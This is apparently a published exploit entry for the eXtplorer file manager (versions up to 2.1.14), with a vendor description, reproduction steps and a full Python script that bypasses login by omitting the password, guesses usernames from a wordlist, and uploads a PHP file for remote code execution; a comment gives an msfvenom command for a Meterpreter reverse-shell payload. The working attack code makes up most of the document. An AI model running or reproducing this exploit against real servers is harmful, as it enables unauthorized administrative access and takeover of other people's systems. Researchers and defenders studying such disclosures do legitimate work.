1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 |
# Exploit Title: eXtplorer<= 2.1.14 - Authentication Bypass & Remote Code Execution (RCE) # Exploit Author: ErPaciocco # Author Website: https://erpaciocco.github.io # Vendor Homepage: https://extplorer.net/ # # Vendor: # ============== # extplorer.net # # Product: # ================== # eXtplorer <= v2.1.14 # # eXtplorer is a PHP and Javascript-based File Manager, it allows to browse # directories, edit, copy, move, delete, # search, upload and download files, create & extract archives, create new # files and directories, change file # permissions (chmod) and more. It is often used as FTP extension for popular # applications like Joomla. # # Vulnerability Type: # ====================== # Authentication Bypass (& Remote Command Execution) # # # Vulnerability Details: # ===================== # # eXtplorer authentication mechanism allows an attacker # to login into the Admin Panel without knowing the password # of the victim, but only its username. This vector is exploited # by not supplying password in POST request. # # # Tested on Windows # # # Reproduction steps: # ================== # # 1) Navigate to Login Panel # 2) Intercept authentication POST request to /index.php # 3) Remove 'password' field # 4) Send it and enjoy! # # # Exploit code(s): # =============== # # Run below PY script from CLI... # # [eXtplorer_auth_bypass.py] # # Proof Of Concept try: import requests except: print(f"ERROR: RUN: pip install requests") exit() import sys import time import urllib.parse import re import random import string import socket import time import base64 TARGET = None WORDLIST = None _BUILTIN_WL = [ 'root', 'admin', 'test', 'guest', 'info', 'adm', 'user', 'administrator' ] _HOST = None _PATH = None _SESSION = None _HEADERS = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8', 'Accept-Language': 'it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Connection': 'keep-alive' } def detect(): global _HOST global _PATH global _SESSION global _HEADERS _HOST = TARGET[0].split(':')[0] + '://' + TARGET[0].split('/')[2] _PATH = '/'.join(TARGET[0].split('/')[3:]).rstrip('/') _SESSION = requests.Session() raw = _SESSION.get(f"{_HOST}/{_PATH}/extplorer.xml", headers=_HEADERS, verify=False) if raw.status_code == 200: ver = re.findall("<version>(((\d+)\.?)+)<\/version>", raw.text, re.MULTILINE) if int(ver[0][2]) < 15: return True return False def auth_bypass(): global _HOST global _PATH global _SESSION global _HEADERS global WORDLIST global _BUILTIN_WL _HEADERS['X-Requested-With'] = 'XMLHttpRequest' params = {'option': 'com_extplorer', 'action': 'login', 'type': 'extplorer', 'username': 'admin', 'lang':'english'} if WORDLIST != None: if WORDLIST == _BUILTIN_WL: info(f"Attempting to guess an username from builtin wordlist") wl = _BUILTIN_WL else: info(f"Attempting to guess an username from wordlist: {WORDLIST[0]}") with open(WORDLIST[0], "r") as f: wl = f.read().split('\n') for user in wl: params = {'option': 'com_extplorer', 'action': 'login', 'type': 'extplorer', 'username': user, 'lang':'english'} info(f"Trying with {user}") res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False) if "successful" in res.text: return (user) else: res = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, headers=_HEADERS, verify=False) if "successful" in res.text: return ('admin') return False def rce(): global _HOST global _PATH global _SESSION global _HEADERS global _PAYLOAD tokenReq = _SESSION.get(f"{_HOST}/{_PATH}/index.php?option=com_extplorer&action=include_javascript&file=functions.js") token = re.findall("token:\s\"([a-f0-9]{32})\"", tokenReq.text)[0] info(f"CSRF Token obtained: {token}") payload = editPayload() info(f"Payload edited to fit local parameters") params = {'option': 'com_extplorer', 'action': 'upload', 'dir': f"./{_PATH}", 'requestType': 'xmlhttprequest', 'confirm':'true', 'token': token} name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=6)) files = {'userfile[0]':(f"{name}.php", payload)} req = _SESSION.post(f"{_HOST}/{_PATH}/index.php", data=params, files=files, verify=False) if "successful" in req.text: info(f"File {name}.php uploaded in root dir") info(f"Now set a (metasploit) listener and go to: {_HOST}/{_PATH}/{name}.php") def attack(): if not TARGET: error("TARGET needed") if TARGET: if not detect(): error("eXtplorer vulnerable instance not found!") exit(1) else: info("eXtplorer endpoint is vulnerable!") username = auth_bypass() if username: info("Auth bypassed!") rce() else: error("Username 'admin' not found") def error(message): print(f"[E] {message}") def info(message): print(f"[I] {message}") def editPayload(): # You can generate payload with msfvenom and paste below base64 encoded result # msfvenom -p php/meterpreter_reverse_tcp LHOST=<yourIP> LPORT=<yourPORT> -f base64 return base64.b64decode("PD9waHAgZWNobyAiSEFDS0VEISI7ICA/Pg==") def help(): print(r"""eXtplorer <= 2.1.14 exploit - Authentication Bypass & Remote Code Execution Usage: python3 eXtplorer_auth_bypass.py -t <target-host> [-w <userlist>] [-wb] Options: -tTarget host. Provide target IP address (and optionally port). -wWordlist for user enumeration and authentication (Optional) -wb Use built-in wordlist for user enumeration (Optional) -hShow this help menu. """) return True args = {"t" : (1, lambda *x: (globals().update(TARGET = x[0]))), "w" : (1, lambda *x: (globals().update(WORDLIST = x[0]))), "wb": (0, lambda *x: (globals().update(WORDLIST = _BUILTIN_WL))), "h" : (0, lambda *x: (help() and exit(0)))} if __name__ == "__main__": i = 1 [ args[ arg[1:]][1](sys.argv[i+1: (i:=i+1+args[arg[1:]][0]) ]) for arg in [k for k in sys.argv[i:] ] if arg[0] == '-' ] attack() else: help() # /////////////////////////////////////////////////////////////////////// # [Script examples] # # # c:\>python eXtplorer_auth_bypass.py -t https://target.com # c:\>python eXtplorer_auth_bypass.py -t http://target.com:1234 -w wordlist.txt # c:\>python eXtplorer_auth_bypass.py -t http://target.com -wb # Exploitation Method: # ====================== # Remote # [+] Disclaimer # The information contained within this advisory is supplied "as-is" with no # warranties or guarantees of fitness of use or otherwise. # Permission is hereby granted for the redistribution of this advisory, # provided that it is not altered except by reformatting it, and # that due credit is given. Permission is explicitly given for insertion in # vulnerability databases and similar, provided that due credit # is given to the author. The author is not responsible for any misuse of the # information contained herein and accepts no responsibility # for any damage caused by the use or misuse of this information. |